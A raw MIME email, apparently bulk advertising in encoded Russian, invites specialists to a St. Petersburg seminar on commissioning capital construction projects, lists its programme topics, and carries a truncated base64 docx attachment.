=E2 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. =D1=F4=E5=F0=E0 =EF=F0=E8=EC= =E5=ED=E5=ED=E8=FF =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=F1=F2=E2=E0 =EE=E1= =E8=ED=E2=E5=F1=F2=E8=F6=E8=EE=ED=ED=EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1= =F2=E8. =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0= =E5=E3=EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2= =EE=E4=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8= =FE. =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5= =ED=F2 =AB=C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2= =EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2= =F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE= =BB. =C7=E0=EA=EB=FE=F7=E5=ED=E8=E5 =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8= =E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3=E8=F0= =EE=E2=E0=ED=ED=EE=E3=EE, =EE=F2=F0=E5=EC=EE=ED=F2=E8=F0=EE=E2=E0=ED=ED=EE= =E3=EE =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0= =EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5= =ED=E8=F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. =D1=EE=F1=F2=E0= =E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0= =F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0. =CF=F0=EE=F6=E5= =E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE= =EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE =EE=E1= =FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6= =E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8= =F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. =C3=F0=E0=F4=E8=EA =F0=E0=E1=EE=F2= =EF=EE =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2= =E0=F6=E8=FE. =D0=E0=E1=EE=F7=E0=FF =EF=F0=E8=E5=EC=ED=E0=FF =EA=EE=EC=E8= =F1=F1=E8=FF (=F1=EE=F1=F2=E0=E2, =EE=E1=FF=E7=E0=ED=ED=EE=F1=F2=E8, =E0=EA= =F2=FB). =C4=E5=E9=F1=F2=E2=E8=FF =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE= =E3=EE =EE=F0=E3=E0=ED=E0 =E2=EB=E0=F1=F2=E8 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE= =E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2= =E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. =CE=F1=ED= =EE=E2=ED=FB=E5 =ED=E0=E4=E7=EE=F0=ED=FB=E5 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =FF =EF=EE =EE=E1=FA=E5=EA=F2=E0=EC, =E7=E0=EA=EE=ED=F7=E5=ED=ED=FB=EC =F1= =F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC. =D1=EE=F1=F2=E0=E2 =E4=EE=EA=F3=EC= =E5=ED=F2=EE=E2, =ED=E5=EE=E1=F5=EE=E4=E8=EC=FB=F5 =E4=EB=FF =EF=EE=E4=EF= =E8=F1=E0=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED=E8=FF =ED=E0 =E2=E2=EE=E4 =EE= =E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE (=E4=EE=EF=F3= =F1=F2=E8=EC=FB=E5 =ED=E5=E4=EE=F1=F2=E0=F2=EA=E8 =E4=EB=FF =EF=EE=EB=F3=F7= =E5=ED=E8=FF =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2= =E2=E8=E8). =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8= =F5 =ED=EE=F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2= =E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. =C4=E5=E9=F1=F2= =E2=F3=FE=F9=E0=FF =F1=E8=F1=F2=E5=EC=E0 =ED=EE=F0=EC =E8 =EF=F0=E0=E2=E8= =EB. =D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=FB =D2= =E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E2 =EE=E1=EB=E0=F1=F2=E8 = =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=E0. =CE=E1=E7=EE=F0 =E4=E5=E9=F1=F2=E2=F3=FE=F9=E8=F5 =E8 =E2=E2=EE=E4= =E8=EC=FB=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. =CF=EE=F0=FF=E4=EE=EA =EE= =F4=EE=F0=EC=EB=E5=ED=E8=FF =D2=E5=F5=ED=E8=F7=E5=F1=EA=EE=E3=EE =F1=E2=E8= =E4=E5=F2=E5=EB=FC=F1=F2=E2=E0 =ED=E0 =ED=EE=E2=F3=FE =EF=F0=EE=E4=F3=EA=F6= =E8=FE. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E2=EE=E4=E0 =E2 =FD=EA=F1=EF= =EB=F3=E0=F2=E0=F6=E8=FE =EE=EF=E0=F1=ED=FB=F5 =EF=F0=EE=E8=E7=E2=EE=E4=F1= =F2=E2=E5=ED=ED=FB=F5 =EE=E1=FA=E5=EA=F2=EE=E2. =CE=F1=EE=E1=E5=ED=ED=EE=F1= =F2=E8 =E2=E2=EE=E4=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E8 =EF=EE= =F0=FF=E4=EE=EA =EF=E5=F0=E5=E4=E0=F7=E8 =ED=E0 =E1=E0=EB=E0=ED=F1 =E8=ED= =E6=E5=ED=E5=F0=ED=FB=F5 =F1=E5=F2=E5=E9. =CF=EE=F0=FF=E4=EE=EA =E4=EE=EF= =F3=F1=EA=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=EE=F0=F3=E4=EE= =E2=E0=ED=E8=FF =F2=E5=EF=EB=EE=E2=FB=F5 =F3=F1=F2=E0=ED=EE=E2=EE=EA. =C3= =EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=E0=FF =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8= =FF =EF=F0=E0=E2 =ED=E0 =E2=ED=EE=E2=FC =F1=EE=E7=E4=E0=ED=ED=FB=E9 =EE=E1= =FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8. =C3=EE=F1=F3=E4=E0=F0=F1= =F2=E2=E5=ED=ED=FB=E9 =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E9 =F3=F7=E5=F2 =EE=E1= =FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8. =CE=F1=ED=EE=E2=ED= =FB=E5 =EE=F8=E8=E1=EA=E8 =E2=EB=E8=FF=FE=F9=E8=E5 =ED=E0 =F1=F0=EE=EA=E8= =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8= =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. =CF=F0=E0=EA=F2=E8=EA=E0 =EF=F0= =E8=E2=EB=E5=F7=E5=ED=E8=FF =EA =E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED= =EE=E9 =E8 =F3=E3=EE=EB=EE=E2=ED=EE=E9 =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE= =F1=F2=E8 =E7=E0 =EF=F0=E0=E2=EE=ED=E0=F0=F3=F8=E5=ED=E8=FF =E2 =EE=E1=EB= =E0=F1=F2=E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0. =20 =D0=C5=C3=C8=D1=D2=D0=C0=D6=C8=DF =CD=C0 =D1=C5=CC=C8=CD=C0=D0: +7 < 8I2 > 64_2 - 2I . =E72 ------=_NextPart_001_0A92_01CEF9F9.2D0861A0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =A0
    =

    =CF=F0=E8=E3=EB=E0=F8=E0=E5= =EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =EF=F0=EE=E9=F2=E8= =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EA=F3=F0=F1=F3: =AB=C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA= =D2=C0 =CA=C0=CF=C8=D2=C0=CB=DC=CD=CE=C3=CE =D1=D2=D0=CE=C8=D2=C5=CB=DC=D1= =D2=C2=C0=BB,<= /span>
    =EA=EE=F2=EE=F0=FB=E9 =EF=F0=EE=E9=E4=B8=F2 =E2 =D1=CF=C1 =E2= =EF=E5=F0=E8=EE=E4 =F1 27.=CEl =EF=EE 28.=EEI

    =CF=EE =E2=EE=EF=F0=EE=F1=E0=EC= =F3=F7=E0=F1=F2=E8=FF =E7=E2=EE=ED=E8=F2=E5 : 8 < 8I2 > 64_2 = - 2I . =E72
    =CF=D0=CE=C3=D0= =C0=CC=CC=C0 =D1=C5=CC=C8=CD=C0=D0=C0:
    1. =D1=EE=E2=F0=E5=EC=E5=ED=ED=E0=FF =E7=E0=EA=EE=ED=EE= =E4=E0=F2=E5=EB=FC=ED=EE-=ED=EE=F0=EC=E0=F2=E8=E2=ED=E0=FF =E1=E0=E7=E0 =E8= =ED=E2=E5=F1=F2=E8=F6=E8=EE=ED=ED=EE-=F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3= =EE =EF=F0=EE=F6=E5=F1=F1=E0 =E2 =F2.=F7. =ED=EE=E2=FB=E9 =C3=F0=E0=E4=EE= =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=E9 =CA=EE=E4=E5=EA=F1 =D0=D4 =E8 =E4=F0= =F3=E3=E8=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB. =C7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB= =FC=ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =E8 =EE=E1=F9=E0=FF = =F5=E0=F0=E0=EA=F2=E5=F0=E8=F1=F2=E8=EA=E0 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5= =EE=F2=ED=EE=F8=E5=ED=E8=E9 =E2 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5.= =D1=F4=E5=F0=E0 =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E7=E0=EA=EE=ED=EE=E4=E0=F2= =E5=EB=FC=F1=F2=E2=E0 =EE=E1 =E8=ED=E2=E5=F1=F2=E8=F6=E8=EE=ED=ED=EE=E9 =E4= =E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8.
    2. =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5= =ED=F2=FB, =F0=E5=E3=EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4= =EE=EA =E2=E2=EE=E4=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0= =F2=E0=F6=E8=FE. =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3= =EB=E0=EC=E5=ED=F2 =AB=C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED= =E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3= =EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0= =F6=E8=FE=BB. =C7=E0=EA=EB=FE=F7=E5=ED=E8=E5 =EE =F1=EE=EE=F2=E2=E5=F2=F1= =F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE, =F0=E5=EA=EE=ED=F1=F2=F0= =F3=E8=F0=EE=E2=E0=ED=ED=EE=E3=EE, =EE=F2=F0=E5=EC=EE=ED=F2=E8=F0=EE=E2=E0= =ED=ED=EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE= =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC= =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. <= /strong>
    3. =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC= =ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 = =EE=E1=FA=E5=EA=F2=E0.
    4. =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0= =EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1= =F2=F0=EE=E5=ED=ED=EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE= =E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EC =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. = =C3=F0=E0=F4=E8=EA =F0=E0=E1=EE=F2 =EF=EE =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA= =F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. =D0=E0=E1=EE=F7=E0=FF =EF= =F0=E8=E5=EC=ED=E0=FF =EA=EE=EC=E8=F1=F1=E8=FF (=F1=EE=F1=F2=E0=E2, =EE=E1= =FF=E7=E0=ED=ED=EE=F1=F2=E8, =E0=EA=F2=FB). =C4=E5=E9=F1=F2=E2=E8=FF =E8=F1= =EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E3=EE =EE=F0=E3=E0=ED=E0 =E2=EB=E0=F1=F2= =E8 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB= =FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB= =F3=E0=F2=E0=F6=E8=FE. =CE=F1=ED=EE=E2=ED=FB=E5 =ED=E0=E4=E7=EE=F0=ED=FB=E5= =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF =EF=EE =EE=E1=FA=E5=EA=F2=E0=EC, =E7=E0= =EA=EE=ED=F7=E5=ED=ED=FB=EC =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC. =D1= =EE=F1=F2=E0=E2 =E4=EE=EA=F3=EC=E5=ED=F2=EE=E2, =ED=E5=EE=E1=F5=EE=E4=E8=EC= =FB=F5 =E4=EB=FF =EF=EE=E4=EF=E8=F1=E0=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED=E8= =FF =ED=E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2= =E0=F6=E8=FE (=E4=EE=EF=F3=F1=F2=E8=EC=FB=E5 =ED=E5=E4=EE=F1=F2=E0=F2=EA=E8= =E4=EB=FF =EF=EE=EB=F3=F7=E5=ED=E8=FF =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE= =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8).
    5. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4= =F0=F3=E3=E8=F5 =ED=EE=F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2= =E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. =C4= =E5=E9=F1=F2=E2=F3=FE=F9=E0=FF =F1=E8=F1=F2=E5=EC=E0 =ED=EE=F0=EC =E8 =EF= =F0=E0=E2=E8=EB. =D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E5 =F0=E5=E3=EB=E0=EC=E5= =ED=F2=FB =D2=E0=EC=EE=E6=E5=ED=ED=EE=E3=EE =F1=EE=FE=E7=E0 =E2 =EE=E1=EB= =E0=F1=F2=E8 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8 =E8 =F1=F2=F0=EE=E8=F2=E5= =EB=FC=F1=F2=E2=E0. =CE=E1=E7=EE=F0 =E4=E5=E9=F1=F2=E2=F3=FE=F9=E8=F5 =E8= =E2=E2=EE=E4=E8=EC=FB=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. =CF=EE=F0=FF= =E4=EE=EA =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF =D2=E5=F5=ED=E8=F7=E5=F1=EA=EE=E3= =EE =F1=E2=E8=E4=E5=F2=E5=EB=FC=F1=F2=E2=E0 =ED=E0 =ED=EE=E2=F3=FE =EF=F0= =EE=E4=F3=EA=F6=E8=FE.
    6. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E2=EE=E4=E0 =E2= =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=EF=E0=F1=ED=FB=F5 =EF=F0=EE=E8=E7= =E2=EE=E4=F1=F2=E2=E5=ED=ED=FB=F5 =EE=E1=FA=E5=EA=F2=EE=E2.
    7. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E2=EE=E4=E0 =E2= =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E8 =EF=EE=F0=FF=E4=EE=EA =EF=E5=F0= =E5=E4=E0=F7=E8 =ED=E0 =E1=E0=EB=E0=ED=F1 =E8=ED=E6=E5=ED=E5=F0=ED=FB=F5 = =F1=E5=F2=E5=E9. =CF=EE=F0=FF=E4=EE=EA =E4=EE=EF=F3=F1=EA=E0 =E2 =FD=EA=F1= =EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF =F2=E5=EF= =EB=EE=E2=FB=F5 =F3=F1=F2=E0=ED=EE=E2=EE=EA.
    8. =C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=E0=FF =F0=E5= =E3=E8=F1=F2=F0=E0=F6=E8=FF =EF=F0=E0=E2 =ED=E0 =E2=ED=EE=E2=FC =F1=EE=E7= =E4=E0=ED=ED=FB=E9 =EE=E1=FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8= . =C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=E9 =EA=E0=E4=E0=F1=F2=F0=EE=E2= =FB=E9 =F3=F7=E5=F2 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=E8.
    9. =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =E2=EB=E8= =FF=FE=F9=E8=E5 =ED=E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2= =E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6= =E8=FE. =CF=F0=E0=EA=F2=E8=EA=E0 =EF=F0=E8=E2=EB=E5=F7=E5=ED=E8=FF =EA =E0= =E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=EE=E9 =E8 =F3=E3=EE=EB=EE=E2=ED=EE= =E9 =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=E8 =E7=E0 =EF=F0=E0=E2=EE=ED= =E0=F0=F3=F8=E5=ED=E8=FF =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=F2=F0=EE=E8=F2=E5=EB= =FC=F1=F2=E2=E0.

    =D0=C5=C3=C8= =D1=D2=D0=C0=D6=C8=DF =CD=C0 =D1=C5=CC=C8=CD=C0=D0:

    +7 < 8I2 > 64_2 - 2I . =E72

    ------=_NextPart_001_0A92_01CEF9F9.2D0861A0-- ------=_NextPart_000_0A91_01CEF9F9.2D0861A0 Content-Type: application/octet-stream; name="veoks_2013-2014.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="veoks_2013-2014.docx" UEsDBBQABgAIAAAAIQBruNnWrQEAAJsHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lU1P4zAQhu9I/IfI11Xisge0Qk05AHtckLarPbv2pLWIP+SZAv33TJo2AtTi8tFLpGQ87/t47MyM L59cWzxAQht8Lc6qkSjA62Csn9fi3/R3+UsUSMob1QYPtVgBisvJ6cl4uoqABWd7rMWCKF5IiXoB TmEVIniONCE5Rfya5jIqfa/mIH+ORudSB0/gqaROQ0zG19CoZUvFzRN/7kkStCiKq35h51ULFWNr tSImlQ/evHEpNw4VZ67X4MJG/MEYQu506CL7DTZ5t1yaZA0UdyrRH+UYQz6GZKQJeul4D9X7Mjs4 Q9NYDUN+pxZT0IDINXdtNUScsn7Lv5fDL90MEmd+P8ggnYVAWrWA30/Q6x5o/9/S4qZpQPONyx+K w7KrfNVbvMjNuwER1/sQk9f/QZk7edwoZxEeYfb3aBQvxLMgTQjkAx3j7AfpLAR4cySGrXIWoYOF dHbAvfvgleiFD/D3NFWzFo5BsJHOQhA3f5Dr59crsZZ5z5Lb5F0KEXmYpE9sezstuuyS+2+ERBaG ebGr3w6OPIi+XGfoRp0Bs8Nbrkfr5BkAAP//AwBQSwMEFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsA CAJfcmVscy8ucmVscyCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMkttKA0EMhu8F32HIfTfbCiLS2d5IoXci6wOEmewBdw7MpNq+ vaMgulDbXub058tP1puDm9Q7pzwGr2FZ1aDYm2BH32t4bbeLB1BZyFuagmcNR86waW5v1i88kZSh PIwxq6Lis4ZBJD4iZjOwo1yFyL5UupAcSQlTj5HMG/WMq7q+x/RXA5qZptpZDWln70C1x1g2X9YO XTcafgpm79jLiRXIB2Fv2S5iKmxJxnKNain1LBpsMM8lnZFirAo24Gmi1fVE/1+LjoUsCaEJic/z fHWcA1peD3TZonnHrzsfIVksFn17+0ODsy9oPgEAAP//AwBQSwMEFAAGAAgAAAAhAEg23qNbAQAA xwUAABwACAF3b3JkL19yZWxzL2RvY3VtZW50LnhtbC5yZWxzIKIEASigAAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAArJTLTsMwEEX3SPxD5D1xU6A81LQbQOoWili7zjiJiD2RPQX697it2qYv d+NNpLlW5h5fjz0c/+km+QHrajQ5y9IeS8BILGpT5uxz+nbzyBJHwhSiQQM5W4Bj49H11fAdGkH+ J1fVrUt8F+NyVhG1z5w7WYEWLsUWjF9RaLUgX9qSt0J+ixJ4v9cbcNvtwUZ7PZNJkTM7Kbz/dNF6 58u9UalawgvKuQZDJyy4QiSwvqOwJVDO1nWWekjGT/vfnvHXtbToUFEqUfO19dLyYX9X3NGiAfdV U/WqFEhyO/ejpRDHwxmOExlfzgFMYXwSHZaNEkLox0RYb/4wjJB9FtPezPUMrJ/yHcFWCkEMYkIs 